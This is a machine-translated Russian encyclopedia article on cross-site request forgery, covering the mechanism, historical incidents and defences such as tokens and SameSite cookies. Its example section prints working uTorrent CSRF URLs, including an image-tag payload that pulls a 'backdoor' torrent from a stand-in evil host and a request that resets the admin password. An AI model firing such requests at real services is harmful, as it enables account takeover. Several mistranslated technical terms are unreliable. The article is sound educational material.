Подделка межсайтовых запросов - Cross-site request forgery

Подделка межсайтовых запросов, также известный как атака в один клик или же сессия верховой езды и сокращенно CSRF (иногда произносится морской прибой[1]) или же XSRF, является разновидностью вредоносных эксплуатировать из интернет сайт где неавторизованные команды отправляются из Пользователь которому доверяет веб-приложение.[2] Есть много способов, которыми вредоносный веб-сайт может передавать такие команды; специально созданные теги изображений, скрытые формы и JavaScript XMLHttpRequests, например, может работать без участия пользователя или даже без его ведома. В отличие от межсайтовый скриптинг (XSS), который использует доверие, которое пользователь имеет к определенному сайту, CSRF использует доверие, которое сайт имеет в браузере пользователя.

При атаке CSRF злоумышленник обманом заставляет невиновного конечного пользователя отправить веб-запрос, который он не намеревался. Это может привести к выполнению действий на веб-сайте, которые могут включать непреднамеренную утечку данных клиента или сервера, изменение состояния сеанса или манипулирование учетной записью конечного пользователя.

Характеристики

В CSRF-атаке цель злоумышленника - заставить невинную жертву бессознательно отправить злонамеренно созданный веб-запрос на веб-сайт, к которому жертва имеет привилегированный доступ. Этот веб-запрос может быть создан для включения параметров URL, файлов cookie и других данных, которые кажутся нормальными для веб-сервера, обрабатывающего запрос. В опасности находятся веб-приложения которые выполняют действия на основе данных от доверенных и аутентифицированный пользователей, не требуя от пользователя разрешить конкретное действие. Пользователь, аутентифицированный печенье сохранены в пользователе веб-браузер может неосознанно отправить HTTP запрос к сайту, который доверяет пользователю и тем самым вызывает нежелательное действие.

Общим свойством веб-браузеров является то, что они автоматически и незаметно включают любые файлы cookie, используемые данным доменом, в любой веб-запрос, отправляемый на этот домен. Это свойство используется CSRF-атаками в том смысле, что любой веб-запрос, сделанный браузером, будет автоматически включать любые файлы cookie (включая файлы cookie сеанса и другие), созданные при входе жертвы на веб-сайт. В случае, если пользователя обманом заставили непреднамеренно отправить запрос через свой браузер, эти автоматически включенные файлы cookie заставят поддельный запрос казаться реальным для веб-сервера, и он будет выполнять любые должным образом запрошенные действия, включая возврат данных, манипулирование состоянием сеанса или выполнение изменения в учетной записи жертвы.

Чтобы атака CSRF сработала, злоумышленник должен идентифицировать воспроизводимый веб-запрос, который выполняет определенное действие, такое как изменение пароля учетной записи на целевой странице. Как только такой запрос идентифицирован, может быть создана ссылка, которая генерирует этот злонамеренный запрос, и эта ссылка может быть встроена на страницу, находящуюся под контролем злоумышленника.[1][3] Эта ссылка может быть размещена таким образом, что жертве даже не нужно переходить по ней. Например, он может быть встроен в тег изображения html в электронном письме, отправленном жертве, которое будет автоматически загружено, когда жертва откроет свое электронное письмо. После того, как жертва щелкнет ссылку, ее браузер автоматически включит все файлы cookie, используемые этим веб-сайтом, и отправит запрос на веб-сервер. Веб-сервер не сможет идентифицировать подделку, потому что запрос был сделан пользователем, который вошел в систему и отправил все необходимые файлы cookie.

Подделка межсайтовых запросов - это пример запутанная депутатская атака против веб-браузера, потому что веб-браузер обманом отправляет поддельный запрос менее привилегированным злоумышленником.

CSRF обычно имеет следующие характеристики:

  • Это касается сайтов, которые полагаются на личность.
  • Он эксплуатирует доверие сайта к этой личности.
  • Он обманом заставляет браузер пользователя отправлять HTTP запросы на целевой сайт.
  • Он включает HTTP-запросы, которые побочные эффекты.

История

Уязвимости CSRF известны и в некоторых случаях используются с 2001 года.[4] Потому что это осуществляется пользователем айпи адрес, некоторые журналы веб-сайтов могут не содержать свидетельств CSRF.[2] Информация об эксплойтах занижена, по крайней мере, публично, и по состоянию на 2007 год[5] было несколько хорошо задокументированных примеров:

  • В Netflix веб-сайт в 2006 году имел многочисленные уязвимости для CSRF, которые могли позволить злоумышленнику выполнить такие действия, как добавление DVD в очередь аренды жертвы, изменение адреса доставки в учетной записи или изменение учетных данных жертвы для полной компрометации учетной записи.[6]
  • Веб-приложение онлайн-банкинга ING Direct был уязвим для CSRF-атаки, которая допускала незаконные денежные переводы.[7]
  • Популярный видео-сайт YouTube также был уязвим для CSRF в 2008 году, что позволяло любому злоумышленнику выполнять практически все действия любого пользователя.[7]
  • McAfee Secure также был уязвим для CSRF и позволял злоумышленникам изменять систему своей компании. Это исправлено в более новых версиях.[8]

В 2018 году были осуществлены новые атаки на устройства с доступом в Интернет, в том числе попытки изменить настройки DNS маршрутизаторов. Некоторые производители маршрутизаторов в спешке выпустили обновления прошивки для улучшения защиты и посоветовали пользователям изменить настройки маршрутизатора, чтобы снизить риск. Подробности не разглашаются, ссылаясь на «очевидные соображения безопасности».[9]

Пример

А Национальная база данных уязвимостей страница с описанием уязвимости CSRF

Злоумышленники, которые могут найти воспроизводимую ссылку, которая выполняет определенное действие на целевой странице, когда жертва находится в системе, могут встроить такую ​​ссылку на страницу, которую они контролируют, и обманом заставить жертву открыть ее.[1] Ссылка на носитель атаки может быть размещена в месте, которое жертва, вероятно, посетит, войдя на целевой сайт (например, дискуссионный форум), или отправлена ​​в теле сообщения электронной почты в формате HTML или вложении. Настоящая уязвимость CSRF в uTorrent (CVE-2008-6586 ) использовал тот факт, что его веб-консоль доступна по адресу localhost: 8080 разрешил выполнение критических действий с помощью простого запроса GET:

Заставить .torrent Загрузка файла
http: // localhost: 8080 / gui /? action = add-url & s = http: //evil.example.com/backdoor.torrent
Изменить пароль администратора uTorrent
http: // localhost: 8080 / gui /? action = setsetting & s = webui.password & v = eviladmin

Атаки проводились путем размещения вредоносных автоматических действий Элементы изображения HTML на форумах и электронный спам, чтобы браузеры, посещающие эти страницы, открывали их автоматически, без особых действий пользователя. Люди, использующие уязвимую версию uTorrent одновременно с открытием этих страниц, были подвержены атаке.

CSRF-атаки с использованием тегов изображений часто производятся из Интернет-форумы, где пользователям разрешено публиковать изображения, но не JavaScript, например, используя BBCode:

[img]http: // localhost: 8080 / gui /? action = add-url & s = http: //evil.example.com/backdoor.torrent[/ img]

При доступе к атаке ссылка на локальное приложение uTorrent по адресу локальный: 8080, браузер всегда будет автоматически отправлять любые существующие печенье для этого домена. Это общее свойство веб-браузеров позволяет CSRF-атакам использовать свои целевые уязвимости и выполнять враждебные действия, пока пользователь вошел в систему на целевом веб-сайте (в данном примере - в локальном веб-интерфейсе uTorrent) во время атаки.

В описанном выше примере uTorrent атаке способствовал тот факт, что веб-интерфейс uTorrent использовал GET запрос для критических операций изменения состояния (изменение учетных данных, загрузка файла и т. д.), которые RFC  2616 явно не рекомендует:

В частности, было установлено соглашение о том, что методы GET и HEAD НЕ ДОЛЖНЫ иметь значение выполнения каких-либо действий, кроме извлечения. Эти методы следует считать «безопасными». Это позволяет пользовательским агентам представлять другие методы, такие как POST, PUT и DELETE, особым образом, чтобы пользователь был осведомлен о том, что запрашивается возможно небезопасное действие.

Из-за этого предположения многие существующие механизмы предотвращения CSRF в веб-фреймворки буду нет крышка GET запросы, а применяйте защиту только к методам HTTP, которые предназначены для изменения состояния.[10]

Формирование запросов на вход

Злоумышленник может подделать запрос на регистрацию жертвы на целевом веб-сайте, используя учетные данные злоумышленника; это известно как войти в CSRF. Login CSRF делает возможными различные новые атаки; например, злоумышленник может позже войти на сайт со своими законными учетными данными и просмотреть личную информацию, такую ​​как история активности, которая была сохранена в учетной записи. Эта атака была продемонстрирована против Google[11] и Yahoo.[12]

HTTP-глаголы и CSRF

В зависимости от типа HTTP методы запроса различаются по своей восприимчивости к CSRF-атакам (из-за различий в их обработке со стороны веб-браузеры ). Следовательно, меры защиты от атаки зависят от метода HTTP-запроса.

  • В HTTP GET использование CSRF тривиально, с использованием методов, описанных выше, таких как простой гиперссылка содержащие управляемые параметры и автоматически загружаемые Тег IMG. Однако по спецификации HTTP GET следует использовать как безопасный метод, то есть незначительное изменение состояния пользователя в приложении. Приложения, использующие GET для таких операций, должны переключиться на HTTP POST или используйте защиту от CSRF.
  • в HTTP POST уязвимость CSRF зависит от сценария использования:
  • другие методы HTTP (PUT, DELETE и т. д.) могут быть выполнены только с использованием XMLHttpRequest с Политика одинакового происхождения (СОП) и Совместное использование ресурсов из разных источников (CORS) и предотвращение CSRF; Однако эти меры не будут действовать на веб-сайтах, которые явно отключают их с помощью Доступ-Контроль-Разрешить-Происхождение: * заголовок

Другие подходы к CSRF

Кроме того, хотя CSRF обычно описывается как статический тип атаки, он также может быть динамически создан как часть полезной нагрузки для межсайтовый скриптинг нападение, как показано Сами червь, или созданный «на лету» из информации о сеансе, просочившейся через сторонний контент и отправленной цели в виде вредоносного URL-адреса. Токены CSRF также могут быть отправлены злоумышленником клиенту из-за фиксация сеанса или другие уязвимости, или обнаруженные с помощью атаки методом перебора, отображаемые на вредоносной странице, которая генерирует тысячи неудачных запросов. Был описан класс атаки "Dynamic CSRF" или использование полезной нагрузки для каждого клиента для подделки, связанной с сеансом.[15] в 2009 году Натан Хамиэль и Шон Мойер на брифингах BlackHat,[16] хотя таксономия еще не получила широкого распространения.

Новый вектор для создания динамических CSRF-атак был представлен Ореном Офером на встрече местного отделения OWASP в январе 2012 года - «AJAX Hammer - Dynamic CSRF».[17][18]

Последствия

Были выпущены метрики серьезности для уязвимостей CSRF, которые приводят к удаленное выполнение кода с привилегии root[19] а также уязвимость, которая может поставить под угрозу корневой сертификат, что полностью подорвет инфраструктура открытого ключа.[20]

Ограничения

Для успешной подделки межсайтовых запросов должно произойти несколько вещей:

  1. Злоумышленник должен нацеливаться либо на сайт, который не проверяет заголовок реферера или жертва с браузером или плагином, который позволяет подмена реферера.[21]
  2. Злоумышленник должен найти отправленную форму на целевом сайте или URL-адрес с побочными эффектами, который что-то делает (например, переводит деньги или меняет адрес электронной почты или пароль жертвы).
  3. Злоумышленник должен определить правильные значения для всех форм или входных URL-адресов; если какие-либо из них должны быть секретными значениями аутентификации или идентификаторами, которые злоумышленник не может угадать, атака, скорее всего, не удастся (если злоумышленнику не повезет с их предположением).
  4. Злоумышленник должен заманить жертву на веб-страницу с вредоносным кодом, пока жертва находится на целевом сайте.

Атака является слепой: злоумышленник не может видеть, что целевой веб-сайт отправляет жертве в ответ на поддельные запросы, если только он не использует межсайтовый скриптинг или другая ошибка на целевом веб-сайте. Точно так же злоумышленник может нацеливаться на любые ссылки или отправлять любые формы, которые появляются после первоначального поддельного запроса, если эти последующие ссылки или формы одинаково предсказуемы. (Несколько целей можно смоделировать, включив несколько изображений на страницу или используя JavaScript, чтобы ввести задержку между щелчками.)

Учитывая эти ограничения, злоумышленник может столкнуться с трудностями при поиске потерпевших, вошедших в систему, или отправленных для атаки форм.[нужна цитата ] С другой стороны, попытки атак легко поддаются организации и невидимы для жертв, а разработчики приложений менее знакомы с CSRF-атаками и подготовлены к ним, чем, скажем, к атакам по словарю для взлома паролей.

Профилактика

Большинство методов предотвращения CSRF работают за счет встраивания дополнительных данных аутентификации в запросы, которые позволяют веб-приложению обнаруживать запросы из неавторизованных мест.

Шаблон токена синхронизатора

Шаблон токена синхронизатора (STP) - это метод, при котором токен, секрет и уникальное значение для каждого запроса встраиваются веб-приложением во все формы HTML и проверяются на стороне сервера. Токен может быть сгенерирован любым методом, обеспечивающим непредсказуемость и уникальность (например, с использованием цепочка хеширования случайного начального числа). Таким образом, злоумышленник не может разместить правильный токен в своих запросах для их аутентификации.[1][22][23]

Пример STP установлен Джанго в HTML-форме:

<ввод type ="скрытый" имя ="csrfmiddlewaretoken" значение ="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" />

STP является наиболее совместимым, поскольку он полагается только на HTML, но вносит некоторую сложность на стороне сервера из-за нагрузки, связанной с проверкой действительности токена при каждом запросе. Поскольку токен уникален и непредсказуем, он также обеспечивает правильную последовательность событий (например, экран 1, затем 2, затем 3), что создает проблему удобства использования (например, пользователь открывает несколько вкладок). Его можно смягчить, используя токен CSRF для сеанса вместо токена CSRF для запроса.

Токен перехода от файла cookie к заголовку

Веб-приложения, использующие JavaScript для большинства своих операций могут использовать следующие методы защиты от CSRF:

  • При первоначальном посещении без связанного сеанса сервера веб-приложение устанавливает файл cookie с соответствующей областью действия, чтобы он не предоставлялся во время запросов из разных источников. Файл cookie обычно содержит случайный токен, который может оставаться неизменным в течение всего срока веб-сеанса.
Set-Cookie: csrf_token = i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; Срок действия истекает = Thu, 23-Jul-2015 10:25:33 GMT; Max-Age = 31449600; Путь = /; Домен = .wikipedia.org; SameSite = Lax; Безопасный
  • JavaScript на стороне клиента считывает его значение и копирует его в пользовательский Заголовок HTTP отправляется с каждым транзакционным запросом
X-CSRF-токен: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • Сервер проверяет наличие и целостность токена

Безопасность этого метода основана на предположении, что только JavaScript запущенный на стороне клиента HTTPS-соединения с сервером, который первоначально установил cookie, сможет прочитать значение cookie. JavaScript, запущенный из мошеннического файла или электронной почты, не должен иметь возможность успешно прочитать значение cookie для копирования в настраиваемый заголовок. Хотя csrf-токен печенье будет автоматически отправлен с мошенническим запросом, сервер по-прежнему будет ожидать действительного X-CSRF-токен заголовок.

Сам токен CSRF должен быть уникальным и непредсказуемым. Он может быть сгенерирован случайным образом или может быть получен из токен сеанса с помощью HMAC:

csrf_token = HMAC (session_token, application_secret)

Файл cookie токена CSRF не должен иметь httpOnly флаг, поскольку он предназначен для чтения JavaScript по дизайну.

Этот метод реализован во многих современных фреймворках, таких как Джанго[24] и AngularJS.[25] Поскольку токен остается постоянным на протяжении всего сеанса пользователя, он хорошо работает с AJAX приложения, но не обеспечивает последовательность событий в веб-приложении.

Защита, обеспечиваемая этим методом, может быть нарушена, если целевой веб-сайт отключает это политика одного происхождения используя один из следующих методов:

  • clientaccesspolicy.xml файл, предоставляющий непреднамеренный доступ к элементам управления Silverlight[26]
  • crossdomain.xml файл, предоставляющий непреднамеренный доступ к Flash-роликам[27]

Двойная отправка cookie

Подобно подходу «cookie-заголовок», но без использования JavaScript, сайт может установить токен CSRF в качестве cookie-файла, а также вставить его как скрытое поле в каждую HTML-форму. Когда форма отправлена, сайт может проверить соответствие токена cookie токену формы. Политика одинакового происхождения не позволяет злоумышленнику читать или устанавливать файлы cookie в целевом домене, поэтому они не могут поместить действительный токен в созданную ими форму.[28]

Преимущество этого метода перед шаблоном синхронизатора заключается в том, что токен не нужно хранить на сервере.

Атрибут файла cookie SameSite

Дополнительный атрибут «SameSite» может быть включен, когда сервер устанавливает файл cookie, указывая браузеру, следует ли прикреплять файл cookie к межсайтовым запросам. Если для этого атрибута установлено значение «strict», то cookie будет отправляться только по запросам того же происхождения, что делает CSRF неэффективным. Однако для этого требуется, чтобы браузер распознал и правильно реализовал атрибут, а также для файла cookie должен быть установлен флажок «Безопасный».[29]

Гарантии на стороне клиента

Расширения браузера, такие как RequestPolicy (для Mozilla Firefox ) или uMatrix (для Firefox и Гугл Хром /Хром ) может предотвратить CSRF, предоставив политику отказа по умолчанию для межсайтовых запросов. Однако это может существенно помешать нормальной работе многих веб-сайтов. Расширение CsFire (также для Firefox) может смягчить влияние CSRF с меньшим влиянием на нормальный просмотр, удаляя информацию аутентификации из межсайтовых запросов.

В NoScript Расширение для Firefox смягчает угрозы CSRF, отделяя доверенные сайты от ненадежных и удаляя аутентификацию и полезные данные из запросов POST, отправляемых ненадежными сайтами доверенным. Модуль Application Boundary Enforcer в NoScript также блокирует запросы, отправляемые с интернет-страниц на локальные сайты (например, localhost), предотвращая атаки CSRF на локальные службы (такие как uTorrent) или маршрутизаторы.

Расширение Self Destructing Cookies для Firefox не защищает напрямую от CSRF, но может уменьшить окно атаки, удаляя файлы cookie, как только они больше не связаны с открытой вкладкой.

Другие техники

Исторически для предотвращения CSRF использовались или предлагались различные другие методы:

  • Проверка того, что заголовки запроса содержат X-Requested-With (использован Рубин на рельсах до версии 2.0 и Джанго до v1.2.5) или проверка HTTP Референт заголовок и / или HTTP Источник заголовок.[30] Однако это небезопасно - комбинация плагинов браузера и переадресации может позволить злоумышленнику предоставить пользовательские заголовки HTTP при запросе на любой веб-сайт, что позволит создать поддельный запрос.[31][32]
  • Проверка HTTP Референт заголовок проверка того, поступает ли запрос с авторизованной страницы, обычно используется для встроенных сетевых устройств, поскольку не увеличивает требования к памяти. Однако запрос, в котором отсутствует Референт заголовок должен рассматриваться как неавторизованный, потому что злоумышленник может подавить Референт заголовок, отправляя запросы с URL-адресов FTP или HTTPS. Этот строгий Референт проверка может вызвать проблемы с браузерами или прокси, которые пропускают Референт заголовок по соображениям конфиденциальности. Кроме того, старые версии Flash (до 9.0.18) позволяют вредоносному Flash генерировать запросы GET или POST с произвольными заголовками HTTP-запросов, используя CRLF инъекция.[33] Подобные уязвимости CRLF-инъекции в клиенте могут использоваться для подмены реферера HTTP-запроса.
  • ПОЧТОВЫЙ метод запроса какое-то время считалось невосприимчивым к тривиальным CSRF-атакам с использованием параметров в URL (с использованием метода GET). Однако как POST, так и любой другой HTTP-метод теперь можно легко выполнить, используя XMLHttpRequest. Фильтрация неожиданных запросов GET по-прежнему предотвращает некоторые конкретные атаки, такие как межсайтовые атаки с использованием URL-адресов вредоносных изображений или адресов ссылок и межсайтовой утечки информации через <script> элементы (Взлом JavaScript); это также предотвращает (не связанные с безопасностью) проблемы с агрессивным поисковые роботы и предварительная загрузка ссылок.[1]

Межсайтовый скриптинг (XSS) уязвимости (даже в других приложениях, работающих в том же домене) позволяют злоумышленникам обойти практически все меры защиты от CSRF.[34]

Смотрите также

Рекомендации

  1. ^ а б c d е Шифлетт, Крис (13 декабря 2004 г.). "Уголок безопасности: подделка межсайтовых запросов". php | архитектор (через shiftlett.org). Получено 2008-07-03.
  2. ^ а б Ристич, Иван (2005). Безопасность Apache. O'Reilly Media. п.280. ISBN  0-596-00724-8.
  3. ^ «Что такое CSRF (подделка межсайтовых запросов)? Учебное пособие и примеры». portswigger.net. Получено 2019-11-04.
  4. ^ Бернс, Джесси (2005). «Подделка межсайтовых запросов: общие сведения о слабых местах сети» (PDF). Партнеры по информационной безопасности, ООО. Получено 2011-12-12.
  5. ^ Кристи, Стив; Мартин, Роберт А. (22 мая 2007 г.). «Распределение типов уязвимостей в CVE (версия 1.1)». Корпорация MITRE. Получено 2008-06-07.
  6. ^ Вашкуч-младший, Франк (17 октября 2006 г.). «Netflix устраняет дыру в подделке межсайтовых запросов». Журнал SC. Получено 2019-02-11.
  7. ^ а б Уильям Зеллер; Эдвард В. Фелтен (октябрь 2008 г.). «Подделка межсайтовых запросов: эксплуатация и предотвращение» (PDF). Получено 29 мая 2015.
  8. ^ Майк, Бейли (2009). «CSRF: Да, это все еще работает…» (PDF). ДЕФКОН.
  9. ^ «Рекомендации по безопасности: CSRF и DNS / DHCP / веб-атаки». Драйтек. Май 2018. Получено 18 мая 2018.
  10. ^ "Защита от подделки межсайтовых запросов | Документация Django | Django". docs.djangoproject.com. Получено 2015-08-21.
  11. ^ Адам Барт, Коллин Джексон и Джон С. Митчелл, Надежная защита от подделки межсайтовых запросов, Материалы 15-й конференции ACM по компьютерной и коммуникационной безопасности, ACM 2008
  12. ^ Джозеф Фулдс, Подделка запроса на вход в систему пассивного мониторинга, Yahoo В архиве 2014-12-22 в Wayback Machine
  13. ^ «Подделка межсайтовых запросов для запросов POST с телом XML». пентестобезьяна. Получено 4 сентября, 2015.
  14. ^ Ширадж Шах (2008). «Взлом Web 2.0 для защиты Ajax и веб-служб» (PDF). HITB. Получено 4 сентября, 2015.
  15. ^ «Исправление безопасности - превращение Web 2.0 в оружие».
  16. ^ Динамический CSRF В архиве 2010-02-13 в Wayback Machine
  17. ^ Owasp.org: Израиль 2012/01: AJAX Hammer - Использование AJAX для атак CSRF
  18. ^ Загрузки - hasc-research - hasc-research - Google Project Hosting. Code.google.com (17.06.2013). Проверено 12 апреля 2014.
  19. ^ «Примечание об уязвимости VU № 584089 - уязвимости cPanel XSRF».
  20. ^ «Примечание об уязвимости VU № 264385 - OpenCA допускает подделку межсайтовых запросов (XSRF)».
  21. ^ «Улучшенная защита от межсайтовых атак». Espacenet. Европейское патентное ведомство. Получено 21 ноября 2019.
  22. ^ "Памятка по предотвращению подделки межсайтовых запросов (CSRF)". OWASP. Получено 2019-07-19.
  23. ^ "Статьи Valhalla - Подделка межсайтовых запросов: раскрытие тайны".
  24. ^ "Защита от подделки межсайтовых запросов". Джанго. Архивировано из оригинал на 2015-01-20. Получено 2015-01-20.
  25. ^ «Защита от подделки межсайтовых запросов (XSRF)». AngularJS. Получено 2015-01-20.
  26. ^ «Обеспечение доступности службы за пределами домена».
  27. ^ Адамски, Лукас. «Рекомендации по использованию файлов междоменной политики для Flash Player - Adobe Developer Connection».
  28. ^ «Защита двойных отправок файлов cookie». OWASP.
  29. ^ «Файлы cookie SameSite». Mozilla.
  30. ^ Предложение заголовка источника В архиве 2016-03-08 в Wayback Machine. People.mozilla.org. Проверено 29 июля 2013.
  31. ^ «Примечания к выпуску Django 1.2.5». Джанго.
  32. ^ «Подделка межсайтовых запросов (CSRF)». OWASP, Открытый проект безопасности веб-приложений. 4 сентября 2012 г.. Получено 11 сентября 2012.
  33. ^ "Secunia Advisory SA22467". Secunia. 19 октября 2006 г.. Получено 11 сентября 2012.
  34. ^ Шнайдер, Кристиан. «CSRF и XSS того же происхождения». Архивировано из оригинал на 2012-08-14. Получено 2012-04-21.

внешняя ссылка